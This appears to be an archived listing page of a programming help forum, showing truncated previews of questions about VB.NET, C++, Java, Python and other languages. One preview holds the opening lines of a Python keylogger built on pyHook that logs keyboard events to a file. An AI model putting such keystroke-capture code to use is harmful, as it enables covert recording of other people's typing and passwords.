132,726 Archived Topics
Remove Filter ![]() | |
I'm taking over a legacy project at my job. Currently there is an issue running the app on Windows 7 that requires the user to run the app as administrator for full functionality/database connectivity. I have no experience with writing apps that need elevation. Where/What should i be looking for … Software Development | |
ust select SMTP control from Components ( under project menu (visual basic)) With SMTP 'name for control .Server = outgoingserver 'Outgoing server name or IP address .MailFrom = mailFrom 'Sender mail address .SendTo = mailto 'to whom you want to send mail .MessageSubject ='Subject of message .MessageText = mailtext 'mail … Software Development visual-basic | |
Hey all, Just trying to build a program in VS2008 using the Allegro library. When I try to build (debug or release), the build completes, but when the program tries to run, I get an error saying that a file called "MSVCR80D.dll" is missing and suggests reinstalling the program. I … Software Development c++ visual-studio | |
hello, is there a way to display a pdf file within a java application? can it be displayed as one of the elements in a panel? thanks.. | |
![]() | Hello, i have made an attempt at this to show im not lazy, but this currently doesnt work, it would mean the world to me if someone could help me finish this code asap, thanks again. [QUOTE][B]NOTE:[/B] Im trying to make this into a DLL for one of my projects[/QUOTE] … |
How do I print values (integer) from memory addresses? I did it with ascii string value, but I can't get it to work with integer value :/ Here is my code for printing ascii string: [CODE]lui $a0, 0x1001 addi $a0, $a0, 4 addi $v0, $0, 4 syscall [/CODE] I tried … Software Development assembly motherboards-cpu-ram | |
[CODE] #include "stdafx.h" #include<iostream> #include<string.h> #include<fstream> #include<stdio.h> #include<cstdio> #include<curl\curl.h> using namespace std; int _tmain(int argc, _TCHAR* argv[]) { return 0; } void main() { int p; CURL* curl; curl=curl_easy_init(); }[/CODE] The above is my code and I am trying to compile it in vc++ 10.But the error is: error LNK2019: … Software Development c++ | |
I am having major issues with nfs, in that server-1 has to mount a file from server-2 before an application owned by another user can operate. The applications will appear to load without the mounted share but they will be just going through the motions and the application will not … | |
[CODE]#include <iostream> #include <string> #include <windows.h> using std:: cout; using std:: cin; using namespace std; int main() { unsigned long n; char Answer; string mystr; do { cout << " What is your name? "; getline (cin, mystr); cout << "Hello " << mystr << ".\n"; cout << "What is … Software Development c++ | |
I am working on may code and I received a null pointer error , how do I fix this? all I wanted to do was remove the selected array here's my code [CODE] import java.util.Scanner; public class Game { public static void main(String args[]){ Scanner input = new Scanner( System.in … Software Development java | |
My Application : Windows Form Application Language : C# I have a DataGridView which I populate with some custom data. Some of the cells are DropDowns that I populate by EnumTypes Some need to be populated by Objects which are multicolumn. On Selection I want to show the MultiColumn Lists … | |
hello! i want to display all the transactions within a month...but an error occured says... data type mismatch in criteria expression...pls help me..here is my initial code... [CODE]If rs.State = adStateOpen Then rs.Close rs.Open "Select * from tblsupplier where date between '" & DTPicker1.Value & "' And '" & DTPicker2.Value … Software Development visual-basic | |
Hello community, I am pretty new to c# and i have decided to use COSMOS to build a basic operating system, However, all my code compiles correctly but there is one problem, when i type shutdown, the system hangs, it does not shutdown and the white cursor continues flashing but … Software Development c# operating-system session user-interface | |
hey guys...i am doing a vb program that insert data into a notepad file....but i want these data without comma and without double quotes....so anyone can help me with my problem....plzz...and thak youuuuuuu Software Development visual-basic | |
| |
I got some problems with my program here. There are lots of lacking in my code. Hope you can help me with this guys. I'm still a student. Here's the problem: A program that prints figures of (*): 1. Displays a menu [1] Figure 1 [2] Figure 2 [3] Figure … Software Development c | |
[code]/*jesse johnson Help.java csc 110 August 25, 2004 */ import java.awt.*; import java.awt.event.*; import javax.swing.*; public class Help extends JApplet implements ActionListener { // GUI Buttons JButton ifButton , ifElseButton , switchButton , whileButton , doWhileButton , forButton, clearArea; JTextArea output; JLabel statusBar; public void init() { Container container = … Software Development gui java java-swing | |
Hi, I have a datagridview with many columns.I want to give this GridView Columns proper order according to my requirement. Like example. I have three columns 1.RegNo. 2.Name. 3.Address. I want that the Name should be the first Column,RegNo second and Adress Third. My application is in Silverlight Coded in … Software Development | |
I am having a bit of trouble fighting through a namespace issue. I have the follow input document [CODE]<?xml version="1.0" ?> <ns:CustomObject3WS_CustomObject3QueryPage_Output xmlns:ns="urn:crmondemand/ws/customobject3/10/2004"> <ns:LastPage>true</ns:LastPage> <ListOfCustomObject3 xmlns="urn:/crmondemand/xml/customObject3"> <CustomObject3> <AccountExternalSystemId /> <AccountId>ADOA-3CN5XR</AccountId> <AccountName /> <CreatedBy>Olga CLEMENDOT, 09/08/2009 13:59:17</CreatedBy> <CreatedDate>09/08/2009 13:59:17</CreatedDate> <CustomObject3Id>ADOA-3I66LA</CustomObject3Id> <ExternalSystemId>ADOA-3CN5XR</ExternalSystemId> <ModifiedBy>Véronique CHINA, 06/22/2010 14:34:53</ModifiedBy> <Name>ADOA-3CN5XR</Name> <Type /> <ModifiedDate>06/22/2010 14:34:53</ModifiedDate> <stZ_DS1_ACCOUNT_CUSTMO>SIM35200031</stZ_DS1_ACCOUNT_CUSTMO> … Software Development xml | |
What this program is does is search the text and where the word appear it displays the line. However. I am recieveing a [U]SyntaxError: EOF while scanning triple-quated string literals[/U]. When i try to run in on python 2.6. I dont have a an option of changeing versions. Just need … | |
I can load my edit form withthe selected account from the datagridview on form1 I can update aany of my information but when I save the information it updates the first account in the database. How do I save to the selected account only? This is my save button:[code]'saves the … Software Development vb.net | |
Isn't it better to use the BufferedReader function readLine() instead of read() or read(byte[])? The reason I ask is because of potential memory wastage by the read() function. If I specify a byte array of size 10, then it will become capable of accepting ten bytes from the transmitter. However, … Software Development java | |
Ubuntu 10.04 and Python 2.6 I just want to output a simple tone. I have searched the Internet and found there are thousands, if not millions of responses to Google, and the this forum's search engine. I read so many my eyes are crossed. But really, does anyone know of … | |
Is there a way in java to do something similar to this: [code=c++] class Rectangle { public: int x; string y; private: int a; string b; }[/code] Or do you always have to specify public/private for each property? Software Development java | |
Hey guys i need to make app that sends mail... so i want in subject to make text like "Report - dd/mm/yyyy - hour:minutes" do you have any idea how should i make that? :/ Software Development vb.net | |
Hello, I am building a webbrowser using VB.Net 2010, and I am having trouble updating the url when I switch between open tabs using tabcontrol. I am also using a textbox for the address bar. Any help would be appreciated Thanks! Software Development vb.net web-browser | |
Good day Every one! I am having trouble with my application with shell32.dll. when i debug it in VS it runs well. but when I detach the .exe file and run it to other directory. I get errors. I hope someone could help me. So much of a thanks in … Software Development vb.net | |
I have a several text files that get updated each month - when they are updated certain lines are missing that I always want adding back to the files - the text I want adding back needs to go into a specific part of the text file(its always the same … Software Development vb.net | |
I was not happy of solution [url]http://chaos.weblogs.us/archives/331[/url] for one line Ceasar cipher, so I wrote my own version without import by using raw_input (change to input for Python3). Chance to play little with memoryview object also. Crypt: give displacement amount for shift Decrypt: give -displacement amount shift Software Development encryption python | |
This program I wrote is supposed to restart tor, wait 5 seconds, then look for a PID number using regex. It compiles and runs fine but the regex logic never displays "good". I'm confused. [CODE]#include <sys/types.h> #include <regex.h> #include <stdio.h> #include <string.h> // gcc -o tor_restart tor_restart.c // chown root … | |
Hey :) Uhm, I just finished a program today, and I was wondering, how i should retrieve the errors that the user may encounter :S Ive seen the logo { sa } somewhere, what does it stand for? Or what should i do about this :) Cheers -Jazerix Software Development | |
hello! i have this problem with this code. I mean everything works just fine except i dont know how to change program to return me new value. in my program i had to make 2 functions. preberiKontakte() to get their names & id and izlusciOsebe(vrstica, kontakti) to get set of … Software Development python | |
I am new to Java and as an exercise I am trying to develop the following: 2 JPanels on a JFrame where 1 of the JPanels can be used for drawing. I started from an example from Daniweb from 2010 but can't seem to get a graphic context because the … Software Development image java java-swing | |
Written in python2.6 I know there are a lot of key loggers out there, but i wanted to try my hand at it. It works like a charm =) [code] #Key Logger #By: K.B. Carte #Version 1.0 ################ import pythoncom, pyHook, sys, logging LOG_FILENAME = 'path\to\log.out' def OnKeyboardEvent(event): logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG, … Software Development python | |
Hello Everyone, New to VB.NET... Going through a bunch of tutorials currently. I need help checking if an application is open and then closing it if it is... For an example, I'll use paint or notepad... Does something like this work? [CODE]Dim myProcess As Process = New Process myProcess.StartInfo.FileName = … Software Development vb.net visual-basic | |
i searched a bit but i cant find something useful. i need to take my files to filestream (i can do this with file paths) and i wanna save this files to somewhere else on my program. Is it possible that with the using FileStream? THX for Replys ^^ Software Development vb.net | |
I am attempting to use a WebBrowser control in C# to display a webpage. I would like my C# application to know when a Javascript function is called within the loaded webpage. Is there anyway to do this? I can't seem to find an event handler for it. Software Development c# java javascript web-browser | |
Can someone help me to create a syntax for a christmas tree... (the christmas tree must be like the shape of a true to life one) thanks. Software Development c | |
Can someone please explain these results to me and why they are different: >>> 7339520/(1024.0*1024) 6.99951171875 >>> print "%0.3f" % (7339520/(1024.0*1024)) 7.000 >>> Software Development python | |
Hello, I have created a site in VB.Net and ASP.Net where a user types in a centre code and clicks on 2 buttons to retreive 2 GridView's of records from an SQL Server backend database. The records appear sucessfully, but when I go to sort the records in ascending/descending order, … Software Development vb.net | |
| |
I've been working on getting tkinter to open a window for all dictionary items with keys matching a query. Below is a [B]VERY RAW[/B] piece of code to show what I'm talking about. show() makes the toplevel windows. Also, not that it has so much going on because I isolate … | |
I have this code: [code] HttpWebRequest request = (HttpWebRequest) WebRequest.Create(someUrl); request.Accept = "*/*";/////////// request.CookieContainer = cookies; request.Method = sendVerb; request.CachePolicy = new RequestCachePolicy(RequestCacheLevel.Reload); request.AllowAutoRedirect = false; request.KeepAlive = true;[/code] When I'm in GET mode, in this line, the program crashes: [code]using (HttpWebResponse responseData = (HttpWebResponse)request.GetResponse())[/code] The information in the catch … Software Development | |
Hi all, I'm new in C++ and I encounter a problem with a code I found on this forum. I simply try to add an integer to a Generic Doubly-Linked list. However, when I launch the following code (main function) [CODE]DoubleLinked<int> dlist; dlist.push_back(1);[/CODE] I got the following error : [CODE] … Software Development c++ linked-list | |
I want to stick this [CODE] Dim cmd As OleDbCommand = New OleDbCommand("SELECT * FROM 0 WHERE Id = 1", con) Dim reader As OleDbDataReader = cmd.ExecuteReader() If Not reader.HasRows Then MsgBox("Data does not exist") Else MsgBox("Data Exists") End If [/CODE] and this [CODE] If Inc <> -1 Then Dim … Software Development programming-construct vb.net | |
Hi all, i'm writing a Qt SIGNAL/SLOT capable class in order to be able to work with raw socket in a Qt application. To achieve this, i'm using a QSocketNotifier to monitor socket incoming data event in a S/S way. Now the problem: entering the event loop, causes the process … | |
hi, I've got a really long String of bits, like: "0010101011101010011011011010100110101010110101..." And I want to chop it into pieces of eight and make bytes out of them, in an array. what would be a performant way to do this? Thanks Ephron Software Development java | |
I have a label that displays information from my database and I need to format it. It displays a number format like so: (53389) and I just need it to display (53,389) it uses the SQL to COUNT or SUM the data from the datasource. My first question is, is … Software Development vb.net | |
Completely stumped as to why my code will no longer run. It definitely works as I can call it from another Sub but will not run on its own. When I am in the code editing window (in Excel) and I click the run button or f5 it asks me … Software Development visual-basic | |
I have this code and it works. It prints out the number, product, and sum, but I need it to be able to work with more than one number. For example if enter 45 6 70 I need it to say Numbers: 45 6 70 Sum: 121 Product: 18900 How … Software Development java |
The End.